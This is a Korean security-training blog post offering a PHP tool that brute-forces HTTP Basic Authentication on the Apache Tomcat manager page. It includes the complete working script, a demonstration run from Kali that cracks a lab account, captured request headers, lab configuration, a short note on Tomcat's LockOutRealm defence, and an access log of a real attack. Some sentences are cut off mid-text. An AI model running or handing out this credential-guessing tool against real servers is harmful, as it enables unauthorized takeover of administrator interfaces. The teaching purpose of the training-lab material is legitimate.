홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 HTTP Basic Authentication 대상의 무작위대입공격 PHP 도구 - HttpBasicAuthBruter.txt[PHP로 만든 간단한 HTTP 기본인증 무작위대입 공격 도구]
Apache Tomcat은 기본 관리자 인터페이스를 제공한다. 이 관리기능을 사용하면 WAR 형태의 파일을 올려서 웹 애플리케이션을 구성할 수 있다. 때문에 기계적인 공격의 주요 대상이기도 하다. 기계적인 또는 자동화 공격의 첫번째 지점은 취약한 관리자 계정정보이다.
아파치 톰캣의 기본관리자 로그인은 HTTP 기본인증을 이용한다. 위의 로그인 과정의 HTTP 헤더를 살펴보면 아래와 같다. [HTTP 요청] GET http://192.168.106.160:8080/manager/html HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic VVNFUjpQQVNT Cookie: JSESSIONID=606B57450E8D8E27F0C1A7DB744F9AF8 Host: 192.168.106.160:8080 root@kali:~# base64 -d <<< VVNFUjpQQVNT USER:PASSroot@kali:~# 통신과정에서 HTTP 헤더에 Base64로 인코딩된 계정:비번 정보를 보낸다. [HTTP 응답 헤더] HTTP/1.1 401 Unauthorized Server: Apache-Coyote/1.1 Cache-Control: private Expires: Thu, 01 Jan 1970 09:00:00 KST WWW-Authenticate: Basic realm="Tomcat Manager Application" Content-Type: text/html;charset=ISO-8859-1 Date: Fri, 21 Jul 2017 06:55:24 GMT
ID는 "
HTTP 요청 헤더에서 " [HttpBasicAuthBruter.txt 내용] <?php /* Attacking tool for HTTP Basic Authentication */ if ($argc != 4) { echo "Usage: php $argv[0] user_list.txt pass_list.txt URL_to_attack\n"; exit(-1); } $user_list = file($argv[1], FILE_IGNORE_NEW_LINES); if ($user_list == false) { echo "Can't read ID list file, $argv[1].\n"; exit(-1); } $pass_list = file($argv[2], FILE_IGNORE_NEW_LINES); if ($pass_list == false) { echo "Can't read PW list file, $argv[2].\n"; exit(-1); } $target_url = $argv[3]; /* print_r($user_list); print_r($pass_list); */ foreach ($user_list as $user) { foreach ($pass_list as $pass) { unset($basic_header); $basic_header[] = "Authorization: Basic ".base64_encode($user.':'.$pass); $c = curl_init($target_url); curl_setopt($c, CURLOPT_HEADER, true); curl_setopt($c, CURLOPT_HTTPHEADER, $basic_header); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); curl_setopt($c, CURLINFO_HEADER_OUT, true); // for request tracking $page = curl_exec($c); $request_header = curl_getinfo($c, CURLINFO_HEADER_OUT ); // request headers curl_close($c); /* echo "================================================================\n"; echo $request_header; echo "================================================================\n"; echo $page; echo "================================================================\n"; */ if (strstr($page, '401 Unauthorized')) continue; else { echo $user.'/'.$pass." 로그인 성공!\n"; // exit(0); } } } ?>
위의 PHP 스크립트를 실행하기 위해서는 root@kali:~# apt-get install php-curl 패키지 목록을 읽는 중입니다... 완료 의존성 트리를 만드는 중입니다 상태 정보를 읽는 중입니다... 완료 php-curl is already the newest version (1:7.0+52). 0개 업그레이드, 0개 새로 설치, 0개 제거 및 0개 업그레이드 안 함. root@kali:~# php HttpBasicAuthBruter.txt Usage: php HttpBasicAuthBruter.txt user_list.txt pass_list.txt URL_to_attack root@kali:~# php HttpBasicAuthBruter.txt ~/weakuser.txt ~/weakpass.txt http://192.168.106.160:8080/manager/html admin/s3cret 로그인 성공! root@kali:~#
취약한 비밀번호 목록은
[참고] 훈련장 구성할 때의 요건 1 <Realm className="org.apache.catalina.realm.LockOutRealm" failureCount="20000" >
Apache Tomcat의 LockOutRealm 방어 기법은 무작위대입공격을 차단한다.
톰캣 디렉토리의 [참고] 훈련장 구성할 때의 요건 2 <role rolename="manager-gui"/> <role rolename="admin-gui"/> <user username="admin" password="s3cret" roles="manager-gui,admin-gui"/>
톰캣 디렉토리의
[참고]
root@kali:~# grep 211.144.157.50 localhost_access_log.2017-06-17.txt | head -7 211.144.157.50 - - [17/Jun/2017:12:42:35 +0900] "GET /manager/html HTTP/1.1" 401 2538 211.144.157.50 - - [17/Jun/2017:12:42:36 +0900] "GET /manager/html HTTP/1.1" 401 2538 211.144.157.50 - - [17/Jun/2017:12:42:37 +0900] "GET /manager/html HTTP/1.1" 401 2538 211.144.157.50 - - [17/Jun/2017:12:42:38 +0900] "GET /manager/html HTTP/1.1" 401 2538 211.144.157.50 - - [17/Jun/2017:12:42:40 +0900] "GET /manager/html HTTP/1.1" 401 2538 211.144.157.50 - - [17/Jun/2017:12:42:41 +0900] "GET /manager/html HTTP/1.1" 401 2538 211.144.157.50 - tomcat [17/Jun/2017:12:42:42 +0900] "GET /manager/html HTTP/1.1" 200 19775 root@kali:~# [처음 작성한 날: 2017.07.21] [마지막으로 고친 날: 2017.07.23] < 이전 글 : [과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (2017.08.09) > 다음 글 : 칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (2017.04.04) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |